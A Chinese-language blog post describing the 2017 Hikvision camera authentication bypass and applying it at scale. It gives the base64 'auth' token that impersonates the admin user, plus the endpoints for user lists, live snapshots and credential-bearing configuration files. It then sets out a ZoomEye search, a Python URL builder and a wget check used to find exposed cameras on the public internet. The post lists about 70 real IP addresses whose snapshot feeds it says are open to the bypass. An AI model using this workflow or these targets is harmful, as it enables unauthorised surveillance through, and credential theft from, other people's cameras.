HikvisionIP摄像头后台绕过

2022-12-24 • 网络安全/ 技术 • ----字 • ---

注:此漏洞已于2017年被修复。本文仅作为学习用途。

起因

最近在学校用Kali扫内网ms17-010的时候，发现扫了一大堆主机居然只扫出来两个，而且在攻击时发现的确没用。
诚然，永恒之蓝作为2017年的漏洞，早已在当时被紧急修复，五年过去依旧存在这个漏洞的Windows7设备已经寥寥无几了。但是在用nmap扫描时，我发现学校内有 Hikvision IP camera设备，大概都是2016年装上的，于是回家一查，果然存在一个后台绕过漏洞。
但是不巧的是，因为疫情封校还没法回去实践，于是在这里应用一下，看看公网上还有多少设备存在这漏洞。

漏洞介绍

                    // 摘抄自 packetstormsecurity
                    Hikvision camera API includes support for proprietary HikCGI protocol, which exposes URI endpoints through the camera's web interface. The HikCGI protocol handler checks for the presence of a parameter named "auth" in the query string and if that parameter contains a base64-encoded "username:password" string, the HikCGI API call assumes the idntity of the specified user. The password is ignored.
                    Virtually all Hikvision products come with a superuser account named "admin", which can be easily impersonated.

也就是说我们可以直接通过在链接后加入 "?auth="+[base64编码的用户名:密码]的形式轻松绕过。这个 [base64编码的用户名:密码]仅需要用户名对应，密码是什么无所谓，所以我们可以直接随便加密一个：

                    admin:11
                    ↓base64↓
                    YWRtaW46MTEK

也就是说，我们在需要权限的页面url上直接加入?auth=YWRtaW46MTEK就能绕过验证。这些url包括:

                    // 获取用户列表
                    http://camera.ip:port/Security/users?auth=YWRtaW46MTEK
                    // 获取快照
                    http://camera.ip:port/onvif-http/snapshot?auth=YWRtaW46MTEK
                    // 获得摄像头配置
                    http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

从结果上来看，获取用户列表的结果是这样的：

                    <?xml version="1.0" encoding="UTF-8"?>
                    <UserList version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema">
                        <User version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema">
                            <id>1</id>
                            <userName>admin</userName>
                            <priority>high</priority>
                            <ipAddress>0.0.0.0</ipAddress>
                            <macAddress>00:00:00:00:00:00</macAddress>
                            <userLevel>Administrator</userLevel>
                        </User>
                    </UserList>

获取快照则会得到当前截图：

而获得配置则会直接得到一份当前摄像头的配置情况，包括账号密码。
值得注意的是，这里的配置其实也简单加密了一下，实际上的密钥似乎是abcdefg，不过这不难解决，在github上就有相关的解密工具。 Github@WormChickenWizard/hikvision-decrypter
解密前它是一个二进制文件，解密后它同样也是一个二进制文件，不过解密后可以直接用Hex编辑器搜索 admin，密码就在它的下两行。

实践

获得目标

这里借助zoomeye的命令行插件请求，方便后续的数据导出。(网页版zoomeye导出数据需会员)
可自Github下载: Github@knownsec/ZoomEye-python
首先需要配置这个命令行工具，这里略，因为在Github仓库内有详细的中文文档说明。仅需填入API key即可。
之后我们就可以使用这个搜索了，例子如下:

                    zoomeye search 'iconhash: "89b932fcc47cf4ca3faadb0cfdef89cf" +2016 +country:"CN" +after:"2021-12-22" +app:"Hikvision IP camera httpd"' -num 20

正确执行后，输出应该类似这样：

解析一下以上搜索的命令:

网站图标 - 'iconhash: "89b932fcc47cf4ca3faadb0cfdef89cf" (Hikvision监控页面图标)

监控年份 - 2016 (此漏洞2017得到修复，我们往前推一年，成功率比较大)

索引国家 - country:"CN" (自家兄弟，速度快)

索引时间 - after:"2021-12-22" (索引最近一年的数据)

索引类型 - app:"Hikvision IP camera httpd" (只索引这个IP摄像头)

查找数量 - -num 20 (测试用，仅查找20个，悠着点用，免费版每个月只有10000次)

这就八九不离十了，如果需要更进一步还可以加上额外选项，如city:"shanghai"等等，详见zoomeye官网。
接下来就是导出，因为工具本来就有-save选项，十分简单

                    zoomeye search 'iconhash: "89b932fcc47cf4ca3faadb0cfdef89cf" +2016 +country:"CN" +after:"2021-12-22" +app:"Hikvision IP camera httpd"' -num 1000 -save port

这里唯一增加的选项是 -save port，表示额外存储端口(默认必存IP)，另外将数量至1000，有需要也可以设置多一些。
不过因为导出是每次请求20个结果的缘故需要时间，等待导出即可。
导出的结果如下:

                    {'ip': '221.0.16.166', 'port': 8808}
                    {'ip': '60.216.142.12', 'port': 8808}
                    {'ip': '27.211.181.181', 'port': 8808}
                    {'ip': '61.132.107.234', 'port': 32400}
                    {'ip': '111.23.146.92', 'port': 32400}
                    {'ip': '113.234.39.166', 'port': 995}
                    {'ip': '112.232.246.135', 'port': 8808}
                    {'ip': '112.232.247.90', 'port': 8808}
                    {'ip': '39.71.193.248', 'port': 8808}
                    {'ip': '39.71.192.8', 'port': 8808}
                    {'ip': '114.33.140.212', 'port': 8883}
                    {'ip': '137.189.185.154', 'port': 8005}
                    {'ip': '182.135.224.187', 'port': 8005}
                    {'ip': '112.240.5.75', 'port': 8005}
                    {'ip': '1.65.200.1', 'port': 8883}
                    {'ip': '114.246.201.88', 'port': 88}
                    {'ip': '114.246.216.66', 'port': 88}
                    {'ip': '119.145.77.202', 'port': 88}
                    {'ip': '182.84.45.51', 'port': 88}
                    {'ip': '122.247.197.186', 'port': 88}
                    {'ip': '122.244.52.251', 'port': 88}
                    {'ip': '122.240.1.130', 'port': 88}
                    {'ip': '122.245.80.91', 'port': 88}
                    {'ip': '122.240.204.77', 'port': 88}
                    ......

格式重组

接下来就是去验证每个IP是否有效。
我这里是采用获取快照的方式，可以方便的用wget的--spider模式确认是否能访问到快照。
那么就需要先去得到有效的url，在上面zoomeye导出的时候会生成一个json，我们在这里可以直接每行解析一下，将完成结果写入到另一个文件中。

                    # python 3
                    # -*- coding: utf-8 -*-
                    import os
                    import time
                    from datetime import datetime 
                    import json
                    urls0 = 'https://'
                    urls1 = 'http://'
                    urls3 = '/onvif-http/snapshot?auth=YWRtaW46MTEK'
                    
                    # 初始化 
                    startTime = time.localtime()
                    startDateTime = datetime.now()
                    print('[初始化进程运行] - '+time.strftime("%H:%M:%S",time.localtime()))
                    
                    if 'targets.json' in os.listdir('.'):
                        with open(r'./targets.json','r') as fp:
                            l1 = fp.readlines()
                        print(f'  检测到目标，共载入{len(l1)}个数据')
                    else:
                        print('[Error]未检测到targets.json，无目标')
                        exit()
                    
                    print('[主进程运行]')
                    for i in range(len(l1)):
                        jsons = json.loads(str(l1[i]).replace('\n','').replace('\'','"'))
                        url2 = str(jsons['ip'])+':'+str(jsons['port'])
                        with open(r'./ok.info','a') as f2: 
                            f2.write(urls1+url2+urls3+'\n')
                        print('\r'+time.strftime("%H:%M:%S",time.localtime())+'» 总进度:['+'|'*(i//(len(l1)//50)+1)+' '*(50-(i//(len(l1)//50))-1)+']'+str(i)+'/'+str(len(l1))+' - '+str(round(float((i/len(l1)))*100,2))+'%')

上面这个python小程序会把它所在文件夹内的 targets.json中的全部ip转换为url形式存储在 result.txt中，每行一个：

                    http://221.0.16.166:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://60.216.142.12:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://27.211.181.181:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://61.132.107.234:32400/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://111.23.146.92:32400/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://113.234.39.166:995/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://112.232.246.135:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://112.232.247.90:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://39.71.193.248:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://39.71.192.8:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://114.33.140.212:8883/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://137.189.185.154:8005/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://182.135.224.187:8005/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://112.240.5.75:8005/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://1.65.200.1:8883/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://114.246.201.88:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://114.246.216.66:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://119.145.77.202:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://182.84.45.51:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://122.247.197.186:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://122.244.52.251:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://122.240.1.130:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://122.245.80.91:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://122.240.204.77:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    ......

这样的格式就让我们看起来很舒服了，接下来就可以用wget去逐一验证:

验证目标

                    wget --tries 1 --timeout 1 -nv -o data.log --spider -i result.txt

此操作将静默进行，结果会用wget的简洁模式存储在data.log中，方便我们检索。
上面设置的超时时间与超时重试次数都是1，耗时较短，如果有耐心可以设置大一点。
完成后，data.log中的结果应该如下:

                    failed: Connection timed out.
                    2022-12-23 18:05:11 URL: http://39.89.12.34:88/onvif-http/snapshot?auth=YWRtaW46MTEK 200 OK
                    failed: Connection timed out.
                    Username/Password Authentication Failed.
                    failed: Connection timed out.
                    failed: Connection timed out.
                    Read error (Connection timed out) in headers.
                    failed: Connection timed out.
                    Username/Password Authentication Failed.
                    failed: Connection timed out.
                    failed: Connection timed out.
                    failed: Connection timed out.
                    Username/Password Authentication Failed.
                    failed: Connection timed out.
                    failed: Connection refused.
                    2022-12-23 18:05:36 URL: http://27.223.48.100:88/onvif-http/snapshot?auth=YWRtaW46MTEK 200 OK
                    failed: Connection timed out.
                    failed: Connection refused.
                    failed: Connection timed out.
                    failed: Connection refused.
                    failed: Connection refused.
                    Username/Password Authentication Failed.
                    2022-12-23 18:05:39 URL: http://221.215.171.198:81/onvif-http/snapshot?auth=YWRtaW46MTEK 200 OK
                    failed: Connection refused.
                    ......

可以看到，能成功访问的url都有200标识，逐一解释一下其余的:

failed: Connection timed out. - 无法连接

Read error (Connection timed out) in headers. - 无法连接

failed: Connection refused. - 可以连接，但不存在此漏洞

Username/Password Authentication Failed. - 存在此漏洞，但默认用户名不是admin

为了方便我们进一步处理，用正则表达式替换以下字符为空:

                    // 以下不需要使用正则表达式
                    Username/Password Authentication Failed.
                    failed: Connection timed out.
                    failed: Connection refused.
                    Read error (Connection timed out) in headers.
                    Remote file does not exist -- broken link!!!
                     200 OK
                     
                    // 以下需要使用正则表达式
                    ^.*:$ // 去除坏链
                    [0-9]*-[0-9]*-[0-9]* [0-9]*:[0-9]*:[0-9]* URL: //去除时间
                    [ \t\n]*$ //去除空行&空格

不出意外的话，最后留下的就是存在漏洞的链接了。
我这里试了一下，1000个ip中大概有70个存在此漏洞，也就是7%吧
附最终结果：

                    http://221.0.16.166:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://27.211.181.181:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://137.189.185.154:8005/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://114.246.216.66:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://116.132.38.26:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://61.155.60.154:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://111.17.186.222:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://60.211.176.138:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://139.170.232.34:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://60.29.192.154:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://218.17.121.235:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://222.135.125.233:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://120.211.63.194:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://120.236.75.243:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://115.238.136.42:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://39.89.12.34:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://27.9.47.186:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://220.132.146.242:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://110.167.76.104:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://112.16.175.58:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://222.184.120.162:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://119.120.224.118:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://180.161.47.184:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://180.161.91.12:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://211.140.148.199:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://211.143.231.238:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://223.68.200.14:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://114.218.22.55:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://59.173.49.211:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://119.1.107.250:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://27.200.21.66:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://27.196.174.10:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://103.100.64.75:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://180.158.150.171:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://218.203.76.97:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://117.86.108.6:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://116.232.75.214:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://116.230.31.118:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://125.123.232.251:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://183.214.115.6:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://101.74.233.94:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://180.165.218.224:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://114.88.37.77:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://114.95.248.231:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://220.178.172.134:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://220.180.211.97:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://124.77.94.21:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://114.233.4.106:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://114.231.243.80:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://125.90.3.102:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://125.95.237.71:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://14.120.74.123:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://223.82.14.139:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://223.94.87.221:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://223.94.87.221:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://223.82.36.194:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://116.11.185.163:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://183.250.109.133:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://183.250.246.173:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://183.247.200.105:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://183.248.215.239:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://183.196.178.34:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://115.171.0.224:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://183.233.250.61:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://183.238.201.243:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://111.194.239.146:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://61.131.71.114:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://218.94.67.130:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://218.88.5.67:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://183.63.221.22:88/onvif-http/snapshot?auth=YWRtaW46MTEK
                    http://137.189.185.154:8005/onvif-http/snapshot?auth=YWRtaW46MTEK
                    ......

也可以选择在show.html查看可用度。
其余如何利用漏洞的环节不再赘述，不要用于非法用途。

后言

上述就是对2017年 HikvisionIP摄像头后台绕过漏洞的应用，终。

原创内容使用知识共享署名-非商业性使用-相同方式共享 4.0 (CC BY-NC-ND 4.0) 协议授权。转载请注明出处。

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HikvisionIP摄像头后台绕过

起因

漏洞介绍

实践

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格式重组

验证目标

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